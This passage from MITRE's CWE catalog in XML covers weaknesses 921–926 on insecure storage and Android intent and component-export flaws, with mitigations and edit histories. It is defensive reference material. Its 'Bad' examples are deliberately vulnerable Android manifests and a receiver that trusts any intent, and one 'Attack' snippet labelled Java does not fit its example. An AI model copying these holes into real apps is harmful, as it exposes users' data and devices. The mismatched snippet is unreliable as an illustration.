					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-04-25</Contribution_Date>
               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="921" Name="Storage of Sensitive Data in a Mechanism without Access Control" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product stores sensitive information in a file system or device that does not have built-in access control.</Description>
         <Extended_Description>
            <xhtml:p>While many modern file systems or devices utilize some form of access control in order to restrict access to data, not all storage mechanisms have this capability. For example, memory cards, floppy disks, CDs, and USB devices are typically made accessible to any user within the system. This can become a problem when sensitive data is stored in these mechanisms in a multi-user environment, because anybody on the system can read or write this data.</xhtml:p>
            <xhtml:p>On Android devices, external storage is typically globally readable and writable by other applications on the device. External storage may also be easily accessible through the mobile device's USB connection or physically accessible through the device's memory card port.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="922" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Mobile" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Read Files or Directories</Impact>
               <Note>Attackers can read sensitive information by accessing the unrestricted storage mechanism.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Modify Files or Directories</Impact>
               <Note>Attackers can modify or delete sensitive information by accessing the unrestricted storage mechanism.</Note>
            </Consequence>
         </Common_Consequences>
         <References>
            <Reference External_Reference_ID="REF-921"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2013-06-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="922" Name="Insecure Storage of Sensitive Information" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product stores sensitive information without properly limiting read or write access by unauthorized actors.</Description>
         <Extended_Description>If read access is not properly restricted, then attackers can steal the sensitive information. If write access is not properly restricted, then attackers can modify and possibly delete the data, causing incorrect results and possibly a denial of service.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>System Configuration</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Read Files or Directories</Impact>
               <Note>Attackers can read sensitive information by accessing the unrestricted storage mechanism.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Modify Files or Directories</Impact>
               <Note>Attackers can overwrite sensitive information by accessing the unrestricted storage mechanism.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Notes>
            <Note Type="Relationship">There is an overlapping relationship between insecure storage of sensitive information (CWE-922) and missing encryption of sensitive information (CWE-311). Encryption is often used to prevent an attacker from reading the sensitive data. However, encryption does not prevent the attacker from erasing or overwriting the data. While data tampering would be visible upon inspection, the integrity and availability of the data is compromised prior to the audit.</Note>
            <Note Type="Maintenance">This is a high-level entry that includes children from various parts of the CWE research view (CWE-1000). Currently, most of the information is in these child entries. This entry will be made more comprehensive in later CWE versions.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2013-06-23</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Relationship_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Feedback">
               <Contribution_Name>Mathias Millet</Contribution_Name>
               <Contribution_Organization>GitGuardian</Contribution_Organization>
               <Contribution_Date>2022-07-08</Contribution_Date>
               <Contribution_Comment>Suggested changes to Common Consequences and Relationship Notes.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="923" Name="Improper Restriction of Communication Channel to Intended Endpoints" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product establishes a communication channel to (or from) an endpoint for privileged or protected operations, but it does not properly ensure that it is communicating with the correct endpoint.</Description>
         <Extended_Description>
            <xhtml:p>Attackers might be able to spoof the intended endpoint from a different system or process, thus gaining the same level of access as the intended endpoint.</xhtml:p>
            <xhtml:p>While this issue frequently involves authentication between network-based clients and servers, other types of communication channels and endpoints can have this weakness.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>If an attacker can spoof the endpoint, the attacker gains all the privileges that were intended for the original endpoint.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="161"/>
            <Related_Attack_Pattern CAPEC_ID="481"/>
            <Related_Attack_Pattern CAPEC_ID="501"/>
            <Related_Attack_Pattern CAPEC_ID="697"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2013-06-23</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2014-02-18">Improper Authentication of Endpoint in a Communication Channel</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="924" Name="Improper Enforcement of Message Integrity During Transmission in a Communication Channel" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product establishes a communication channel with an endpoint and receives a message from that endpoint, but it does not sufficiently ensure that the message was not modified during transmission.</Description>
         <Extended_Description>Attackers might be able to modify the message and spoof the endpoint by interfering with the data as it crosses the network or by redirecting the connection to a system under their control.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="345" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="345" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>If an attackers can spoof the endpoint, the attacker gains all the privileges that were intended for the original endpoint.</Note>
            </Consequence>
         </Common_Consequences>
         <Notes>
            <Note Type="Maintenance">This entry should be made more comprehensive in later CWE versions, as it is likely an important design flaw that underlies (or chains to) other weaknesses.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2013-06-23</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="925" Name="Improper Verification of Intent by Broadcast Receiver" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The Android application uses a Broadcast Receiver that receives an Intent but does not properly verify that the Intent came from an authorized source.</Description>
         <Extended_Description>Certain types of Intents, identified by action string, can only be broadcast by the operating system itself, not by third-party applications. However, when an application registers to receive these implicit system intents, it is also registered to receive any explicit intents. While a malicious application cannot send an implicit system intent, it can send an explicit intent to the target application, which may assume that any received intent is a valid implicit system intent and not an explicit intent from another application. This may lead to unintended behavior.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="940" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Mobile" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Intent Spoofing</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>Another application can impersonate the operating system and cause the software to perform an unintended action.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Before acting on the Intent, check the Intent Action to make sure it matches the expected System action.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example demonstrates the weakness.</Intro_Text>
               <Example_Code Nature="Bad" Language="XML">
                  <xhtml:div>&lt;manifest package="com.example.vulnerableApplication"&gt;<xhtml:div style="margin-left:1em;">
                        <xhtml:div>&lt;application&gt;<xhtml:br/>
                           <xhtml:i>...</xhtml:i>
                           <xhtml:br/>
                           <xhtml:div style="margin-left:1em;">
                              <xhtml:div>&lt;receiver android:name=".ShutdownReceiver"&gt;<xhtml:div style="margin-left:1em;">&lt;intent-filter&gt;<xhtml:div style="margin-left:1em;">&lt;action android:name="android.intent.action.ACTION_SHUTDOWN" /&gt;</xhtml:div>&lt;/intent-filter&gt;</xhtml:div>&lt;/receiver&gt;</xhtml:div>
                           </xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>...</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>&lt;/application&gt;</xhtml:div>
                     </xhtml:div>&lt;/manifest&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>The ShutdownReceiver class will handle the intent:</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>...</xhtml:i>
                     <xhtml:br/>IntentFilter filter = new IntentFilter(Intent.ACTION_SHUTDOWN);<xhtml:br/>BroadcastReceiver sReceiver = new ShutDownReceiver();<xhtml:br/>registerReceiver(sReceiver, filter);<xhtml:br/>
                     <xhtml:i>...</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>public class ShutdownReceiver extends BroadcastReceiver {<xhtml:div style="margin-left:1em;">@Override<xhtml:br/>public void onReceive(final Context context, final Intent intent) {<xhtml:div style="margin-left:1em;">mainActivity.saveLocalData();<xhtml:br/>mainActivity.stopActivity();</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Because the method does not confirm that the intent action is the expected system intent, any received intent will trigger the shutdown procedure, as shown here:</Body_Text>
               <Example_Code Nature="Attack" Language="Java">
                  <xhtml:div>window.location = examplescheme://method?parameter=value</xhtml:div>
               </Example_Code>
               <Body_Text>An attacker can use this behavior to cause a denial of service.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="499"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-922" Section="3.2.1"/>
         </References>
         <Notes>
            <Note Type="Maintenance">This entry will be made more comprehensive in later CWE versions.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2013-06-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Demonstrative_Examples, Description, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="926" Name="Improper Export of Android Application Components" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The Android application exports a component for use by other applications, but does not properly restrict which applications can launch the component or access the data it contains.</Description>
         <Extended_Description>
            <xhtml:p>The attacks and consequences of improperly exporting a component may depend on the exported component:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>If access to an exported Activity is not restricted, any application will be able to launch the activity. This may allow a malicious application to gain access to sensitive information, modify the internal state of the application, or trick a user into interacting with the victim application while believing they are still interacting with the malicious application.</xhtml:li>
                  <xhtml:li>If access to an exported Service is not restricted, any application may start and bind to the Service. Depending on the exposed functionality, this may allow a malicious application to perform unauthorized actions, gain access to sensitive information, or corrupt the internal state of the application.</xhtml:li>
                  <xhtml:li>If access to a Content Provider is not restricted to only the expected applications, then malicious applications might be able to access the sensitive data. Note that in Android before 4.2, the Content Provider is automatically exported unless it has been explicitly declared as NOT exported.</xhtml:li>
               </xhtml:ul>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="285" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Mobile" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>
               <xhtml:p>There are three types of components that can be exported in an Android application.</xhtml:p>
	       <xhtml:ul>
		 <xhtml:li>An Activity is an application component that provides a UI for users to interact with. A typical application will have multiple Activity screens that perform different functions, such as a main Activity screen and a separate settings Activity screen.</xhtml:li>
		 <xhtml:li>A Service is an application component that is started by another component to execute an operation in the background, even after the invoking component is terminated. Services do not have a UI component visible to the user.</xhtml:li>
		 <xhtml:li>The Content Provider mechanism can be used to share data with other applications or internally within the same application.</xhtml:li>
	     </xhtml:ul>
            </Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>DoS: Instability</Impact>
               <Impact>Varies by Context</Impact>
               <Note>Other applications, possibly untrusted, can launch the Activity.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>DoS: Instability</Impact>
               <Impact>Varies by Context</Impact>
               <Note>Other applications, possibly untrusted, can bind to the Service.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
               <Note>Other applications, possibly untrusted, can read or modify the data that is offered by the Content Provider.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Build and Compilation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>If they do not need to be shared by other applications, explicitly mark components with android:exported="false" in the application manifest.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Build and Compilation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>If you only intend to use exported components between related apps under your control, use android:protectionLevel="signature" in the xml manifest to restrict access to applications signed by you.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Build and Compilation</Phase>
               <Phase>Architecture and Design</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>Limit Content Provider permissions (read/write) as appropriate.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Build and Compilation</Phase>
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>Limit Content Provider permissions (read/write) as appropriate.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This application is exporting an activity and a service in its manifest.xml:</Intro_Text>
               <Example_Code Nature="Bad" Language="XML">
                  <xhtml:div>&lt;activity android:name="com.example.vulnerableApp.mainScreen"&gt;<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>...</xhtml:i>
                           <xhtml:br/>&lt;intent-filter&gt;<xhtml:div style="margin-left:1em;">&lt;action android:name="com.example.vulnerableApp.OPEN_UI" /&gt;<xhtml:br/>&lt;category android:name="android.intent.category.DEFAULT" /&gt;</xhtml:div>&lt;/intent-filter&gt;<xhtml:br/>
                           <xhtml:i>...</xhtml:i>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>&lt;/activity&gt;<xhtml:br/>&lt;service android:name="com.example.vulnerableApp.backgroundService"&gt;<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>...</xhtml:i>
                           <xhtml:br/>&lt;intent-filter&gt;<xhtml:div style="margin-left:1em;">&lt;action android:name="com.example.vulnerableApp.START_BACKGROUND" /&gt;</xhtml:div>&lt;/intent-filter&gt;<xhtml:br/>
                           <xhtml:i>...</xhtml:i>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>&lt;/service&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>Because these components have intent filters but have not explicitly set 'android:exported=false' elsewhere in the manifest, they are automatically exported so that any other application can launch them. This may lead to unintended behavior or exploits.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>This application has created a content provider to enable custom search suggestions within the application:</Intro_Text>
               <Example_Code Nature="Bad" Language="XML">
                  <xhtml:div>&lt;provider&gt;<xhtml:div style="margin-left:1em;">android:name="com.example.vulnerableApp.searchDB"<xhtml:br/>android:authorities="com.example.vulnerableApp.searchDB"&gt;</xhtml:div>&lt;/provider&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>Because this content provider is only intended to be used within the application, it does not need to be exported. However, in Android before 4.2, it is automatically exported thus potentially allowing malicious applications to access sensitive information.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <References>
            <Reference External_Reference_ID="REF-923"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2013-07-02</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-01-22</Modification_Date>
               <Modification_Importance>Critical</Modification_Importance>
               <Modification_Comment>Expanded entry to be more general and include all types of Android components that may be improperly exported.</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Background_Details, Common_Consequences, Demonstrative_Examples, Description, Maintenance_Notes, Name, Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
